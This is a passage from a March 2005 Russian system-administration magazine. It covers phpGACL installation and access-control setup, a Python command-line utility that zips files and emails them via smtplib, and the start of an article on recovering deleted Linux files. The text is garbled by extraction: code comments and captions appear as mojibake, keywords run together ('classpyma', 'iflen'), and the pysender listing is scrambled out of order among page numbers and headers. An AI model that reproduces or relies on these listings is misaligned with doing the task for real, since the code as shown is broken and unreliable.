Инсталляция Требования довольно гуманны. Необходима версия PHP-интерпретатора не ниже 4.2.0*, любой веб-сервер с поддержкой PHP (настоятельно не рекомендуется только Apache 2.x) и реляционная база данных (декларируется поддержка MySQL, PostgreSQL, Oracle, Sybase, но ничто не мешает использовать MSSQL или вообще любую СУБД, которую поддерживает php-расширение adodb. Мне удалось после небольших изменений работать даже с СУБД cache, но это, разумеется, уже экзотика). Сначала скачаем архив с библиотекой (адрес http:// phpGACL.sourceforge.net) и распакуем его в каталог вашего веб-приложения. Далее открываем и редактируем файл phpgacl/gacl.class.php. В нём надо определить следующие настройки: // ïðåôèêñ äëÿ íàèìåíîâàíèÿ òàáëèö â áàçå äàííûõ var $_db_table_prefix = 'galc_'; var $_db_type = 'mysql'; // òèï áàçû äàííûõ var $_db_host = 'localhost'; // õîñò áàçû äàííûõ var $_db_user = 'root'; //ïîëüçîâàòåëü áàçû äàííûõ var $_db_password = ''; //ïàðîëü ïîëüçîâàòåëÿ var $_db_name = 'gacl'; //èìÿ áàçû äàííûõ // îáúåêò ADODB database connector (åñëè ADODB // íå èñïîëüçîâàëîñü è íå íàñòðàèâàëîñü, ìîæíî îñòàâèòü // ïóñòûì) var $_db = '';

Теперь нужно отредактировать phpgacl/admin/gacl_ admin.inc.php, продублировав в нём ту же информацию. Этот файл необходим административной части скрипта. Причина, по которой одна и та же информация вводится дважды, проста – gacl.class.php невелик по размеру и большинстве случаев нет необходимости включать в приложение весь программный интерфейс. (Мне это кажется некоторой недоработкой, которая, впрочем, легко исправляется). Создаём базу данных с именем, которое мы задали в db_name и запускаем скрипт http://localhost/phpgacl/setup.php. Он создаст необходимые таблицы в базе данных и в конце работы порадует примерно таким сообщением: phpGACL Database Setup Configuration: driver = mysql, host = localhost, user = root, database = gacl, table prefix = galc_ Testing database connection... Success! Connected to "mysql" database on "localhost". Testing database type... Success! Compatible database type "mysql" detected! Making sure database "gacl" exists... Success! Good, database "gacl" already exists! Success! Installation Successful!!! *IMPORTANT* Please make sure you create the <phpGACL root>/admin/templates_c directory, and give it write permissions for the user your web server runs as. Please read the manual, and docs/examples/* to familiarize yourself with phpGACL. Let's get started!


администрирование Как видно из последнего замечания, следует вручную создать каталог /templates_c в каталоге phpgacl/admin (смысл данного действия, по-видимому, кроется в возможности задать права на запись) и перейти по ссылке «Let’s get started!». После этого программа установки выведет отчёт о состоянии вашей системы и запросит подтверждения. Немножко подумав (для виду), можно согласиться. Если все настройки правильны, вы попадаете в интерфейс администратора системы, где уже можно начинать работу – создавать группы, пользователей, объекты и разделы. В родном интерфейсе phpgacl всё довольно понятно, и я бы не хотел долго объяснять, на какие кнопки нажимать, лучше остановимся на организации прав доступа. Для начала разобьём весь персонал компании на вложенные группы и определим ARO:

Следующим этапом установим права доступа для действий (то есть ACO) для каждой группы или ARO, входящих в получившееся дерево (в данном случае мы исходим из того, что по умолчанию доступ куда бы то ни было запрещён всем).

Сразу скажу, что такой ACL выглядит довольно загруженно (при небольшом числе субъектов), но phpGacl позволяет группировать и комбинировать субъекты, строя сколь угодно сложные схемы. Один и тот же ARO может быть членом разных групп, в частности, если в вышеприведённом примере мы решим дать Васе дополнительные полномочия, можно просто добавить его в группу «отдел биллинга»:

Как это реализовать на программном уровне? Прежде всего следует сказать, что phpGACL идентифицирует каждый объект доступа типом объекта (ARO, AXO, ACO) и двумя ключевыми словами – именем раздела и значением. Раздел – это заданная пользователем общая категория объекта доступа, значение – название для объекта доступа. Добавление нового элемента в схему происходит следующим образом: Äîáàâëåíèå ARO “Ðàçäåë -> Çíà÷åíèå”: “Billing_group -> Vasya” “Managers_group -> Oksana”

В данном случае тип объекта понятен из контекста, и его можно опустить. Таким же образом происходит добавление объектов других типов.

Уровень API Данная схема охватывает все права, но совсем не идеально построена (напоминает сработанную «на коленке»), но это вполне реальный пример, и далее будем отталкиваться от него. Теперь рассмотрим любую типовую ситуацию. Скажем Андрей, неожиданно (или ожидаемо) взял отпуск. Костя в силу своей загруженности не может целиком переложить на себя его обязанности и решает переложить их на Женю. Коля по каким-то причинам утратил доверие, и было принято решение, что он вполне может справляться со своей работой, без информации о финансовом положении клиента. Более того, решено, что Вася теперь будет иметь доступ к счетам клиентов. Действия по изменению логики доступа, несмотря на некоторое несовершенство начальной схемы, минимальны. Типовые действия по изменению, добавлению прав будут показаны ниже, но в данном случае важна получившаяся диаграмма доступа (а если называть вещи своими именами, ACL – Access Control Lists дерево), она будет выглядеть так:

№3, март 2005

На более низком уровне работа приложения с phpgacl проходит посредством вызова функций программного интерфейса. Вот пример из руководства, реализующий простую проверку логина и пароля: // Ïîäêëþ÷àåì áàçîâûé API include('phpgacl/gacl.class.php'); $gacl = new gacl(); $username = $db->quote($_POST['username']); $password = $db->quote(md5($_POST['password'])); $sql = 'SELECT name FROM users WHERE name='; $sql .= $username.' AND password='.$password; $row = $db->GetRow($sql); if($gacl->acl_check('system','login','user',$row['name'])){ $_SESSION['username'] = $row['name']; return true; } else return false;

Обратите внимание, что здесь используется только один вызов, а именно функция acl_check(), которая проверяет ARO-объект $row['name'] в ARO-разделе «user» и ACO-объект «login» в ACO-разделе «system». Надо отметить, что функции API не входят в официальную документацию, но их описание доступно в каталоге docs/phpdoc/ дистрибутива. При написании статьи был использован русский перевод документации phpgacl (http://php.russofile.ru/phpGACL.html), выполненный Кузьмой Феськовым.

29


администрирование

ПРАКТИКУМ Python:

ОТПРАВКА ФАЙЛОВ ПО ЭЛЕКТРОННОЙ ПОЧТЕ

СЕРГЕЙ СУПРУНОВ Как вы отправляете по электронной почте файл из Windows? Я, например, до недавнего времени делал так: находил нужный файл в дереве каталогов в FAR; набирал в командной строке «start .», чтобы открыть каталог в «Проводнике»; щелкал по файлу правой кнопкой мыши, выбирал «Add to archive…»; затем щелкал по полученному файлу архива и выбирал «Отправить → Адресат»… В общем, долго и уто-

30

мительно. Теперь я делаю это из FAR командной строкой такого вида: C:\Temp>send to me file “Ãîäîâîé îò÷åò.doc” as year2004.zip

По заголовку статьи вы уже поняли, что такого счастья удалось достичь благодаря языку Python, и здесь доста-


администрирование точно подробно описываются предпринятые для этого шаги. Цель статьи, как обычно, не в описании готового решения для «copy – paste», а в том, чтобы показать пути решения подобных задач. Итак, с чем нам предстоит столкнуться. Прежде всего познакомимся с использованием модуля smtplib, входящего в стандартную библиотеку Python, и нужного нам для формирования текста почтового сообщения и собственно для отправки. Вспомним, как работать с zip-архивами. Ну и попутно решим некоторые проблемы с кодировками, традиционно присущие Windows. Начнем с главного сценария – send.py: Ëèñòèíã 1. Íà÷àëî ñöåíàðèÿ send.py # -*- coding: cp1251 -*######################################################### # Utility for send files by e-mail from command line #-------------------------------------------------------# Usage: # send to <addr> files <file1[ file2...]> [(nonzipped | as <zip>)] ######################################################### import sys, os, glob, myzip, pymaconf from mystd import mystdin, mystdout from pysender import pysender

В приведенном фрагменте подключаются нужные нам модули. Из них sys, os и glob входят в стандартную библиотеку Python, myzip – слегка модифицированный вариант модуля, который был разработан ранее для операций упаковки файлов (см. статью «Автоматизируем FTP с помощью Python», журнал «Системный администратор» №12, декабрь 2004 г.), а остальные будут рассмотрены в процессе работы. Чтобы созданные наработки было удобнее использовать в дальнейшем, оформим функции нашего сценария как класс pyma. Этот класс я приведу полностью, снабжая комментариями наиболее интересные моменты. Ниже будут даны еще некоторые пояснения. Ëèñòèíã 2. Ñåðåäèíà ñöåíàðèÿ send.py (êëàññ pyma) classpyma: # ôóíêöèÿ èíèöèàëèçàöèè – ââîäèì ïåðåìåííûå, # êîòîðûì íóæíî çàäàòü çíà÷åíèÿ ïî óìîë÷àíèþ def __init__(self): self.FLG_NZ = False # áóäåì ëè óïàêîâûâàòü ôàéëû self.ZIPNAME = '' # èìÿ zip-àðõèâà # Ôóíêöèÿ ðàçáîðà ïàðàìåòðîâ, ââåäåííûõ â êîìàíäíîé ñòðîêå def parseParameters(self, *argv): STOP = 0 # äîëæíî áûòü íå ìåíåå 5 ïàðàìåòðîâ iflen(argv) < 5: self.Usage() # (èìÿ ïðîãðàììû + åùå 4) # 1-é îáÿçàòåëüíî «to» if argv[1][:2] != 'to': self.Usage() # 3-é îáÿçàòåëüíî «fi[les]» if argv[3][:2] != 'fi': self.Usage() self.TO = self.getaddrbyalias(argv[2]) # åñëè ïîñëåäíèé ïàðàìåòð íà÷èíàåòñÿ ifargv[-1][:2] == 'no': # ñ «no», íå óïàêîâûâàòü self.FLG_NZ = True STOP = -1 # åñëè ïðåäïîñëåäíèé – «as» elif argv[-2][:2] == 'as': # òî ïîñëåäíèé – èìÿ àðõèâà self.ZIPNAME = argv[-1] STOP = -2 # èíà÷å èìÿ àðõèâà – ïî 1-ìó ôàéëó else:

№3, март 2005

self.ZIPNAME = zn = argv[4] if zn.find('*') > -1 or zn.find('?') > -1: self.ZIPNAME = 'archive.zip' self.ZIPNAME = Unicode(self.ZIPNAME, pymaconf.fsyscodepage).encode ↵ (pymaconf.fzipcodepage) if self.ZIPNAME[-4:] != '.zip': self.ZIPNAME = self.ZIPNAME + '.zip' # âñå îñòàëüíûå ïàðàìåòðû – øàáëîíû ôàéëîâ ifSTOP: files = argv[4:STOP] else: files = argv[4:] if not files: self.Usage() # ôîðìèðóåì ñïèñîê ôàéëîâ ïî øàáëîíàì self.FILELIST = [] for pattern in files: tmplist = glob.glob(pattern) for file in tmplist: if os.path.isfile(file): self.FILELIST.append(file) if not self.FILELIST: print '\nERROR: no files found.' self.Usage() # åñëè íóæíî – çàïðîñ òåìû if pymaconf.promptsubj: tmp = raw_input('Subject: ') if tmp: pymaconf.defsubject = tmp print # åñëè íóæíî – çàïðîñ ñîîáùåíèÿ ifpymaconf.promptmess: tmp = raw_input('Message: ') if tmp: pymaconf.defmessage = tmp print # Ôóíêöèÿ îïðåäåëåíèÿ ïîëíîãî àäðåñà ïî ïñåâäîíèìó def getaddrbyalias(self, addr): abf = os.path.dirname(__file__) + ↵ os.path.sep + 'addrbook.ab' ab = open(abf, 'r').readlines() aliases = {} for line in ab: alias, fulladdr = line.split() aliases[alias] = fulladdr try: fulladdr = aliases[addr] except: fulladdr= addr return fulladdr # Ôóíêöèÿ ôîðìèðîâàíèÿ è îòïðàâêè ñîîáùåíèÿ def sendmail(self): self.parseParameters(*sys.argv) ifself.FLG_NZ: # åñëè íå óïàêîâûâàòü – îòïðàâêà ôàéëîâ ïî ñïèñêó pysender().sendfiles(self.TO, ↵ self.FILELIST) else: # èíà÷å óïàêîâûâàåì ïî ñïèñêó è îòïðàâëÿåì àðõèâ myzip.writepattzip(self.ZIPNAME, ↵ self.FILELIST) pysender().sendfiles(self.TO, ↵ (self.ZIPNAME,)) os.remove(self.ZIPNAME) # Ôóíêöèÿ âûâîäà ñîîáùåíèÿ î ïðàâèëüíîì ñèíòàêñèñå def Usage(self): print ''' Utility for send files by e-mail from command line Usage: send to <addr> files <file1[ file2...]> ↵ [(nonzipped | as <zip>)]''' sys.exit()

То есть этот модуль обеспечивает лишь разбор строки параметров, а сами функции отправки и упаковки размещены в других модулях. Обратите внимание на конструк-

31


администрирование ции вида «argv[-2][:2]». Они используются для того, чтобы в параметрах командной строки значащими были только первые два символа. Операция [m:n], называемая срезом, позволяет извлечь из массива «подмассив» начиная с элемента m до элемента n, не включая последний. Если m или n пропущено, подразумевается «с начала массива» или «до конца массива» соответственно. Текстовая строка может рассматриваться как массив одиночных символов. Благодаря этому ключ «files» можно записать и как «file», что более логично при отправке одного файла, и даже как «fi». Аналогично ключ «nonzipped» можно сокращать вплоть до «no». Конечно, можно было бы использовать более традиционный синтаксис командной строки, но такая запись воспринимается и запоминается лучше. Сравните, например, две команды: send–t amsand@rambler.ru –f report.txt –z rep2.zip send to amsand@rambler.ru file report.txt as rep2.zip

Лично мне больше нравится вторая, хотя она и сложнее в разборе. Последний отрывок файла send.py приведен ниже, но большую часть происходящего в нем я поясню немного позже. На данный момент достаточно знать, что он просто вызывает функцию отправки сообщения. Ëèñòèíã 3. Êîíåö ñöåíàðèÿ send.py if __name__ == '__main__': mo = mystdout() mi = mystdin() mo.setmystdout() mi.setmystdin() nc = pyma() nc.sendmail() mo.setorigin() mi.setorigin()

На этом send.py завершается. Должно быть, вы уже заметили, что нигде не видно ни адреса отправителя, ни параметров smtp-сервера, через который выполняется отправка. Конечно, все это присутствует, но вынесено в конфигурационный файл pymaconf.py, представленный ниже: Ëèñòèíã 4. Êîíôèãóðàöèîííûé ñöåíàðèé pymaconf.py # -*- coding: cp1251 -*# Èìÿ smtp-ñåðâåðà smtpserver = 'my.server.ru' # Ïàðàìåòðû smtp-àâòîðèçàöèè authrequire = 0 authlogin = '' authpassword = '' # Àäðåñ îòïðàâèòåëÿ fromaddr = 'pyma.test@my.server.ru' # Çàïðàøèâàòü ëè promptsubj # Òåìà ñîîáùåíèÿ defsubject

òåìó ñîîáùåíèÿ = 1 ïî óìîë÷àíèþ = 'Îòïðàâêà ôàéëà'

# Çàïðàøèâàòü ëè òåêñò ïèñüìà promptmess = 1 # Òåêñò ïèñüìà ïî óìîë÷àíèþ defmessage = 'Îòïðàâêà ôàéëà\n\n\t-= pyma v.0.1 =-' # Îòïðàâëÿòü ëè êîïèè ïèñåì íà óêàçàííûé àäðåñ backmail = 1 backaddr = 'pyma.back@my.server.ru'

32

# Ïàðàìåòðû ïåðåêîäèðîâîê basecodepage = 'cp1251' termcodepage = 'cp866' mailcodepage = 'cp1251' fsyscodepage = 'cp1251' fzipcodepage

= 'cp1251'

# # # # # # #

òåêñò â èñõîäíèêàõ òåðìèíàë (ââîä-âûâîä) êîäèðîâêà ïèñåì êîäèðîâêà èìåí ôàéëîâ â ñèñòåìå êîäèðîâêà èìåíè zip-àðõèâà

Собственно, здесь нет ничего интересного – просто определяется ряд переменных, которые будут использоваться в дальнейшем. Если ваш smtp-сервер требует авторизацию, установите переменную authrequire в 1 и заполните значения authlogin и authpassword. В данной программе пароль хранится в открытом виде, поэтому если доступ к вашей машине достаточно «либеральный», следует позаботиться о защите этой информации. Переменные promptsubj и promptmess определяют, должен ли выдаваться запрос на ввод темы и тела письма или следует просто подставлять значения, определенные по умолчанию. Функция sendmail() класса pyma вызывает разбор командной строки, выделяя адрес получателя, список файлов для отправки и ключи, определяющие параметры упаковки. Функция getaddrbyalias() возвращает полный адрес по указанному в командной строке псевдониму. Если соответствие не найдено, возвращается адрес, введенный в командной строке. Сам файл addrbook.ab выглядит примерно так: buh ivanova@my.server.ru me amsand@rambler.ru .. .. ..

То есть если указать «to me», почта будет отправлена на адрес amsand@rambler.ru, как если бы было указано «to amsand@rambler.ru». Обратите внимание на конструкцию, с помощью которой определяется полный путь к файлу адресной книги: abf = os.path.dirname(__file__) + os.path.sep + 'addrbook.ab'

Поскольку нужно, чтобы утилиту отправки можно было запускать из любого каталога, и именно там Python будет искать файлы, указанные без пути, то нам нужно «привязаться» к месту размещения файла send.py. Встроенная переменная __file__ возвращает полное имя модуля, из которого она вызывается. Функция dirname() модуля os.path вырезает из полного имени файла имя каталога. Ну и чтобы обеспечить переносимость между различными операционными системами вместо явного указания слеша для отделения каталога от имени файла используем переменную os.path.sep, которая возвращает прямой слеш «/» на системах UNIX и обратный «\» в Windows. Вернемся к функции sendmail(). Если в командной строке определен ключ «nonzipped», то в процессе ее разбора функцией parseParameters() переменная FLG_NZ получит истинное значение. При этом весь список файлов, помещенный в переменную FILELIST, отправляется непосредственно в функцию sendfiles() модуля pysender (который будет рассмотрен далее). Если же требуется упаковка, что является поведением по умолчанию, то список файлов отдается на обработку функции writepattzip() модуля myzip, который был разработан ранее для графической утилиты


администрирование отправки файлов по FTP. Здесь мы не будем к нему возвращаться, код этого модуля, как и всех остальных, можно будет скачать с сайта журнала: http://samag.ru/source. После упаковки функция sendfiles() получает имя созданного архива. Как только отправка завершится, zip-файл будет удален. Вся основная работа выполняется функцией sendfiles() модуля pysender. Ниже представлен этот модуль: Ëèñòèíã 5. Ìîäóëü pysender.py # -*- coding: cp1251 -*import os, smtplib, pymaconf, pymalog

param['codepage'] = pymaconf.mailcodepage param['message'] = smtplib.base64. ↵ encodestring(param['message']) msg= self.messagepart % param # äëÿ êàæäîãî ôàéëà èç ñïèñêà ôîðìèðóåì # ÷àñòü ñîîáùåíèÿ, îáúÿâëÿþùåãî âëîæåíèå files = '' print 'pysender: MIME-ïðåîáðàçîâàíèå âëîæåíèé:' for filename in filelist: files += filename + ',' param['filename'] = filename base, ext = os.path.splitext(filename) param['mimetype'] = ↵ self.getmimetypebyext(ext[1:]) print 'pysender: + %s...' % filename

class pysender: # Ôóíêöèÿ èíèöèàëèçàöèè def __init__(self): # Ðàçáèðàåì ôàéë mime-òèïîâ. mtf = os.path.dirname(__file__) + ↵ os.path.sep + 'mime.types' mt = open(mtf, 'r').readlines() self.mimetypes = {} for line in mt: mimetype, mimeext = line[:-1].split() self.mimetypes[mimeext] = mimetype # Øàáëîí çàãîëîâêà ïèñüìà, âêëþ÷àÿ òåëî ïèñüìà messagepart = '''From: %(fromaddr)s To: %(toaddr)s Subject: %(subject)s X-Mailer: PyMa 0.1 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="%(boundary)s"

ist = open(filename, 'rb').read() param['mimed'] = smtplib. ↵ base64.encodestring(ist) msg = msg + (self.attachpart % param) # îòïðàâêà ñîîáùåíèÿ print 'pysender: ñîåäèíåíèå ñ %s...' % ↵ pymaconf.smtpserver try: session = smtplib. ↵ SMTP(pymaconf.smtpserver) if pymaconf.authrequire: session.login ↵ (pymaconf.authlogin, pymaconf. ↵ authpassword) print 'pysender: ↵ âûïîëíÿåòñÿ îòïðàâêà...' session.sendmail(pymaconf.fromaddr, ↵ envtoaddr, msg) print 'pysender: îòïðàâêà çàâåðøåíà.' session.quit()

This is a multi-part message in MIME format. --%(boundary)s Content-Type: text/plain; charset="%(codepage)s" Content-Transfer-Encoding: Base64 %(message)s ''' # Øàáëîí âëîæåíèÿ â ïèñüìå attachpart = '''--%(boundary)s Content-Type: %(mimetype)s; name="%(filename)s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="%(filename)s" %(mimed)s''' # Ôóíêöèÿ âîçâðàùàåò mime-òèï ïî ðàñøèðåíèþ ôàéëà # Èñïîëüçóåòñÿ ñëîâàðü, ñôîðìèðîâàííûé âî âðåìÿ # èíèöèàëèçàöèè êëàññà def getmimetypebyext(self, ext): try: mt = self.mimetypes[ext] except: mt = 'application/octet-stream' return mt # Ôóíêöèÿ ôîðìèðóåò ñîîáùåíèå è îòïðàâëÿåò åãî def sendfiles(self, toaddr, filelist): # çàïîëíÿåì ñëîâàðü ïàðàìåòðîâ, èñïîëüçóåìûõ â øàáëîíå param = {} param['boundary'] = ↵ '-=-=_BOUNDARY_adba_YRADNUOB_=-=-' param['fromaddr'] = pymaconf.fromaddr if pymaconf.backmail and pymaconf.backaddr: param['toaddr'] = toaddr + ↵ '\nBcc: ' + pymaconf.backaddr envtoaddr = [toaddr] envtoaddr.append(pymaconf.backaddr) else: param['toaddr'] = toaddr envtoaddr = [toaddr] param['subject'] = pymaconf.defsubject param['message'] = pymaconf.defmessage

№3, март 2005

except:

pymalog.write('SENT: %s to %s' % ↵ (files, toaddr)) print 'pysender: ÎØÈÁÊÀ ÎÒÏÐÀÂÊÈ.' pymalog.write('ERROR: %s to %s' % ↵ (files, toaddr))

Центральной частью описанного здесь класса являются шаблоны сообщений messagepart и attachpart. В них широко применяется использование знакомест вида %(key)s, которые заполняются значениями, соответствующими ключам из словаря, указываемого после оператора «%». Например, строка param[‘message’] будет помещена в шаблон вместо конструкции %(message)s. Шаблоны описывают вид сообщения в формате MIME. Для упрощения работы все, включая тело сообщения, мы кодируем в соответствии с Base64, для чего используется функция encodestring() класса smtp.base64. Каждое вложение также преобразовывается согласно Base64 и оформляется как mime-часть сообщения. Для определения mimeтипа файла по его расширению используется файл соответствия mime.types, в качестве которого выступает слегка откорректированный одноименный файл, поставляемый вместе с Apache. Главное, что нужно в нем сделать, – разбить строки, в которых одному mime-типу ставятся в соответствие несколько расширений, таким образом, чтобы в каждой строке фигурировало только одно расширение. Комментарии и строки без расширений удаляются. Файл, который использую я, можно будет найти на сайте журнала в разделе «Исходный код». Если определить mime-тип не удалось, используется значение «application/octet-stream».

33


администрирование После того как будет сформировано сообщение нужного формата, оно отправляется адресату с помощью функции sendmail() стандартного модуля smtplib. Помимо текста сообщения ей передаются адреса отправителя и получателя для формирования конверта. Если в конфигурационном файле включен режим отправки копий всех писем на указанный адрес (что может быть полезно как для контроля, так и в качестве плохонькой, но все же замены папки «Отправленные»), то к адресу получателя добавляется и указанный в pymaconf.py. Функция write() модуля pymalog заносит в лог-файл сообщение о результате отправки письма, чтобы в дальнейшем можно было отследить, что, когда и куда отправлялось. Сам модуль pymalog.py: Ëèñòèíã 6. Ìîäóëü pymalog.py # -*- coding: cp1251 -*import time, os name = os.path.dirname(__file__) + os.path.sep + 'pyma.log' def write(str): dt = time.strftime('%d.%m.%Y %H:%I:%S') log = open(name, 'a+') log.write('%s: %s\n' % (dt, str)) log.close() if __name__ == '__main__': write('qwerty')

Все. Можно вводить заветную командную строку и смотреть, что получилось. А получились две неприятности, с которыми нам предстоит побороться. Первая – наш код записан в cp1251, а FAR выводит строки в cp866. В итоге весь вывод, который происходит во время работы утилиты, имеет нечитаемый вид. Если переписать код в cp866, то текст сообщений будет выглядеть нормально, но нечитаемыми станут имена файлов, имеющие символы кириллицы (Windows использует для именования файлов cp1251). Наверняка указанную проблему можно было бы обойти проще, чем это сделал я, но использованное решение может быть применено в других случаях, а потому представляет определенную учебную ценность. Мы переопределим стандартные потоки ввода-вывода. Для этого напишем еще один модуль, mystd.py: Ëèñòèíã 7. Ìîäóëü mystd.py # -*- coding: cp1251 -*import sys from pymaconf import termcodepage, basecodepage # Êëàññ ïåðåîïðåäåëåíèÿ ïîòîêà ââîäà classmystdin: def readline(self): str = self.origin.readline() return unicode(str, ↵ termcodepage).encode(basecodepage) def setmystdin(self): self.origin, sys.stdin = sys.stdin, self def setorigin(self): sys.stdin = self.origin # Êëàññ ïåðåîïðåäåëåíèÿ ïîòîêà âûâîäà classmystdout: def write(self, str): self.setorigin()

34

print unicode(str, ↵ basecodepage).encode(termcodepage), self.setmystdout() def setmystdout(self): self.origin, sys.stdout = sys.stdout, self def setorigin(self): sys.stdout = self.origin

Итак, что тут происходит? Класс mystdout имеет три функции – setmystdout(), назначает в качестве стандартного потока вывода sys.stdout сам этот класс, setorigin() возвращает прежнее значение, заблаговременно сохраненное в self.origin. А функция write() необходима, чтобы этот класс действительно мог играть роль потока вывода. В ней-то и происходит все самое интересное – мы возвращаем на место поток stdout, выводим в него переданную как параметр и перекодированную строку, и вновь назначаем потоком вывода класс mystdout. В итоге выводимые строки попрежнему попадают на экран, но предварительно перехватываются и преобразуются в нужную кодировку. Аналогично поступаем с sys.stdin. Классу mystdin нужен метод readline, который вызывает стандартный readline объекта sys.stdout (который сохранен в переменной self.origin) и возвращает считанную строку перекодированной. Теперь становятся понятны загадочные строки в конце модуля send.py, в которых фигурируют объекты mi и mo. Они служат для переопределения потоков ввода-вывода. Вторая неприятность заключается в том, что если имя файла содержит русские символы, то, будучи упакованным, оно исказится. Связано это с тем, что такие программы, как WinRAR, WinZip, 7-Zip и т. д., считают, что имена упакованных файлов должны быть в кодировке cp866. Но класс ZipFile стандартного модуля zipfile никаких преобразований имен файлов не выполняет, записывая их, как есть. Если предварительно преобразовать имя файла в нужную кодировку и в таком виде передать его функциям модуля, то возникает ошибка «Файл не найден», поскольку файла с полученным именем действительно не существует. Ранее, когда я описывал отправку файлов по FTP, данная проблема также имела место, но была не столь актуальна, так как предполагалось, что и упаковка, и распаковка будут выполняться с помощью Python. В случае же электронной почты можно почти со стопроцентной уверенностью утверждать, что распаковываться архив будет чем угодно, но только не программой на Python. Для частного решения указанной проблемы я слегка подправил библиотечный файл zipfile.py, размещающийся в каталоге Python, в подкаталоге Lib. Копируем этот модуль под именем zipfrusw.py, и в модуле myzip подгружаем этот измененный файл вместо zipfile. Именно это я и имел в виду, когда выше говорил о небольшой модификации myzip. Итак, в zipfrusw.py вносим следующие изменения. В исходную функцию close(): Ëèñòèíã 8. Èçìåíåíèÿ â ìîäóëå zipfile: close def close(self): """Close the file, and for mode "w" and "a" write the ending records.""" .. .. .. .. .. .. self.fp.write(centdir) # self.fp.write(zinfo.filename) try: fn4zip = unicode(zinfo.filename,


администрирование pymaconf.termcodepage).encode('cp866') self.fp.write(fn4zip) except: self.fp.write(zinfo.filename) self.fp.write(zinfo.extra) .. .. .. .. .. ..

Синим выделены добавленные строки, зеленым – исключенная. То есть здесь мы преобразуем имя файла в нужную кодировку перед тем, как оно будет записано в файл архива. Для перекодировки используем функцию Unicode(), которая формирует строку в кодировке UTF, с последующим вызовом функции encode(), которая преобразует Unicode-строку в указанную кодировку. Чтобы модуль умел читать собственные творения, потребуются изменения в функцию getinfo(): Ëèñòèíã 9. Èçìåíåíèÿ â ìîäóëå zipfile: getinfo def getinfo(self, name): """Return the instance of ZipInfo given 'name'.""" try: name = unicode(name, ↵ 'cp866').encode(pymaconf.termcodepage) except: pass return self.NameToInfo[name]

и в _RealGetContents(): Ëèñòèíã 10. Èçìåíåíèÿ â ìîäóëå zipfile: _RealGetContents def _RealGetContents(self): """Read in the table of contents for the ZIP file.""" .. .. .. .. .. .. if self.debug > 2: print centdir filename = fp.read(centdir[_CD_FILENAME_LENGTH]) filename = unicode(filename, ↵ 'cp866').encode(pymaconf.termcodepage) # Create ZipInfo instance to store # file information x = ZipInfo(filename) .. .. .. .. .. ..

ственно из командной строки менеджера FAR. Благодаря использованию функции glob.glob() для формирования списка файлов мы получили возможность задавать в параметре files и шаблоны. Например, так мы отправим все файлы, имеющие расширение «py»: sendtome files *.py as pyma

Утилита получилась достаточно гибкой – можно указать несколько файлов для отправки (или несколько шаблонов), задавать имя формируемого архива (по умолчанию используется имя первого файла или «archive.zip», если первым задан шаблон), отказаться от упаковки и передать файлы как есть. «Адресная книга» несколько упрощает ввод адресов электронной почты, позволяя указывать псевдонимы для тех адресов, которые вы наиболее часто используете. Чтобы не усложнять командную строку, тема и сопроводительный текст сообщения запрашиваются интерактивно. При желании такое поведение можно отключить, установив соответствующие переменные в pymaconf.py в ноль. Из недостатков можно указать малоинформативный вывод сообщений об ошибках, не совсем точное следование стандартам, несколько громоздкий и неудобный для непосредственного просмотра формат лог-файла. Также в данной версии не предусмотрена одновременная отправка сразу на несколько адресов. В тело письма сейчас можно поместить только одну строку, поскольку нажатие клавиши Enter прекратит ввод. Однако, как и раньше, исходный код всегда доступен, и любой недостаток при наличии времени и желания можно легко превратить в достоинство. Кстати, эта утилита замечательно работает и в FreeBSD. Нужно только подправить переменные в конфигурационном файле, отвечающие за кодировку, и вместо создания bat-файла просто переименовать send.py в send, снабдив его «магической» строчкой: #!/usr/local/bin/python

Теперь упакованные файлы сохраняют свои первоначальные имена при извлечении из архива, хотя должен признать, что всесторонние исследования я не проводил и не могу гарантировать, что подобный «хакинг» останется без последствий при другом использовании модуля. Я хотел лишь показать, что при желании исходные тексты стандартных модулей всегда можно подогнать под свои нужды. Еще осталось сделать так, чтобы нашу утилиту можно было вызывать как «send», а не как «send.py». Для этого создадим bat-файл send.bat: \myprogs\python\python \myprogs\utils\pyma\send.py %1 ↵ %2 %3 %4 %5 %6 %7 %8 %9

К сожалению, в нем мы вынуждены использовать полные пути к файлам, что потребует редактирования каждый раз, когда нужно будет перенести утилиту в другое место. Кроме того, сценарию send.py в данном примере может быть передано только 9 параметров, что налагает ограничения на количество отправляемых за один раз файлов. Но зато командная строка стала выглядеть так, как нам хочется. Итак, мы получили небольшую утилиту, которая позволяет отправлять файлы по электронной почте непосред-

№3, март 2005

Ну и не забыть сделать этот файл исполняемым и доступным для поиска по переменной окружения PATH. На моем сервере, где используется koi8-r, строки файла конфигурации, отвечающие за кодировки, выглядят таким образом: Ëèñòèíã 11. Èçìåíåíèÿ â pymaconf.py äëÿ FreeBSD basecodepage termcodepage mailcodepage fzipcodepage fsyscodepage

= 'cp1251' = 'koi8-r' = 'cp1251' = 'cp1251' = 'koi8-r'

Кодировку сообщений в исходных текстах можно оставить как есть (параметр basecodepage), единственное, в этом случае имена упаковываемых файлов в диагностических сообщениях будут нечитаемыми. Исправить это можно введением нескольких дополнительных перекодировок, но их уже и без того достаточно. На других платформах работоспособность утилиты не проверялась, однако причин для проблем вроде бы никаких нет, и если вашей системой поддерживается Python, то должен работать и рассмотренный код.

35


администрирование

ВОССТАНОВЛЕНИЕ УДАЛЕННЫХ ФАЙЛОВ ПОД LINUX Каждый из нас хотя бы однажды удалял ценный файл, а то и весь корневой каталог целиком! Резервной копии нет. Времени на поиски утилит для восстановления – тоже. Как быть? К счастью, все необходимое уже включено в ваш любимый дистрибутив и всегда находится под рукой. Если говорить кратко: debugfs, lsdel, stat, cat, dump, undel. Если чуть подробнее – читайте эту статью, рассказывающую о восстановлении данных на ext2fs и отчасти ext3fs-разделах.

